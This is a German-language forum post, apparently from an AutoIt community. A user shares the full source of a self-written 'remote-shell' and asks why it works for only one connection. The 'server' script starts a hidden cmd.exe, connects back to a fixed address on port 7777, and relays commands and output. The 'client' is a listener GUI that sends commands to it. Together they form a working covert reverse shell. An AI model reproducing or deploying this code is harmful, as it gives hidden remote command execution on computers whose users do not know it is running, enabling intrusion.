remote-shell

  • heyho,
    ich hab mal versucht eine remote-shell zu schreiben, es funktioniert auch soweit, allerdings nur einmalig.
    wenn ich versuche eine neue verbindung herzustellen, bleibt einfach alles nur schwarz und ich komm nicht dahinter warum Oo
    hat da jemand eine idee?

    server:

    Spoiler anzeigen
    [autoit]


    #include <Constants.au3>

    [/autoit] [autoit][/autoit] [autoit]

    Dim $cmd = Run(@Comspec,@WorkingDir,@SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD + $STDERR_CHILD)
    Dim $cmdWindowOut_Buffer
    Dim $IP="192.168.0.175"

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    TCPStartUp()
    Do
    $ConnectedSocket = TCPConnect($IP,7777)
    Until $ConnectedSocket <> -1

    While 1
    $cmdWindowOut = StdoutRead($cmd)
    $cmdWindowErr = StderrRead($cmd)
    $cmdWindowOut_Buffer = $cmdWindowOut_Buffer & $cmdWindowOut & $cmdWindowErr
    If @Error then Exit
    $status = StringSplit($cmdWindowOut,@CRLF,1)
    $status = $status[$status[0]]
    If StringRight($status,1) = ">" or StringRight($status,2) = "\>" Then ExitLoop
    WEnd
    TCPSend($ConnectedSocket,$cmdWindowOut_Buffer)

    While 1
    $recv = TCPRecv($ConnectedSocket,8192)
    If @Error then ExitLoop
    If $recv <> "" Then
    StdinWrite($cmd, $recv & @CRLF)
    While 1
    $cmdWindowOut = StdoutRead($cmd)
    $cmdWindowErr = StderrRead($cmd)
    $cmdWindowOut_Buffer = $cmdWindowOut_Buffer & $cmdWindowOut & $cmdWindowErr
    If @Error then Exit
    $status = StringSplit($cmdWindowOut,@CRLF,1)
    $status = $status[$status[0]]
    If StringRight($status,1) = ">" or StringRight($status,2) = "\>" Then ExitLoop
    WEnd
    TCPSend($ConnectedSocket,$cmdWindowOut_Buffer)
    EndIf
    WEnd
    TCPShutdown()
    WEnd

    [/autoit]

    client:

    Spoiler anzeigen
    [autoit]


    #include <GUIConstants.au3>
    #include <EditConstants.au3>
    #include <WindowsConstants.au3>
    #include <GuiEdit.au3>
    #include <GuiStatusBar.au3>
    #include <GuiConstantsEx.au3>
    #include <ScrollBarConstants.au3>

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("TrayMenuMode", 1)
    TraySetToolTip("Shell")
    GUISetState()
    $exit = TrayCreateItem("Exit")

    [/autoit] [autoit][/autoit] [autoit]

    HotKeySet("^c","clear")

    [/autoit] [autoit][/autoit] [autoit]

    GUICreate("cmd",600,300)
    GUISetState()
    Dim $edit = GUICtrlCreateEdit("please wait for connection....",-1,-1,602,280,$ES_READONLY + $WS_VSCROLL)
    Dim $Input = GUICtrlCreateInput("",-1,278,-1,-1)
    GUICtrlSetBkColor ($edit, 0x000000)
    GUICtrlSetColor ($edit, 0x00ff00)
    GUICtrlSetBkColor ($Input, 0x000000)
    GUICtrlSetColor ($Input, 0x00ff00)
    GUICtrlSetFont($Input,11.5,600)
    ControlFocus("","",$Input)
    $IP="192.168.0.175"

    [/autoit] [autoit][/autoit] [autoit]

    TCPStartUp()

    [/autoit] [autoit][/autoit] [autoit]

    $MainSocket = TCPListen($IP, 7777)
    $ConnectedSocket = -1

    [/autoit] [autoit][/autoit] [autoit]

    Do
    $ConnectedSocket = TCPAccept($MainSocket)
    If TrayGetMsg() = $exit Then Exit
    If GUIGetMsg() = $GUI_EVENT_CLOSE Then Exit
    Until $ConnectedSocket <> -1

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(Ping($IP))
    GUICtrlSetData($edit,TCPRecv($ConnectedSocket,8192))

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    While 1
    $recv = TCPRecv($ConnectedSocket,8192)
    If TrayGetMsg() = $exit Then Exit
    $msg = GUIGetMsg()
    Select
    Case $msg = $GUI_EVENT_CLOSE
    Exit
    Case $msg = $input
    $command = GUICtrlRead($Input)
    TCPSend($ConnectedSocket,$command)
    If @error Then ExitLoop
    While 1
    $recv = TCPRecv($ConnectedSocket,8192)
    If @error Then ExitLoop(2)
    If $recv <> "" Then ExitLoop
    WEnd
    GUICtrlSetData($edit,$recv)
    _GUICtrlEdit_Scroll($edit, $SB_SCROLLCARET)
    GUICtrlSetData($Input,"")
    EndSelect
    WEnd
    GUICtrlSetData($edit,"connection lost")
    WEnd
    Func clear()
    GUICtrlSetData($Input,"")
    EndFunc

    [/autoit]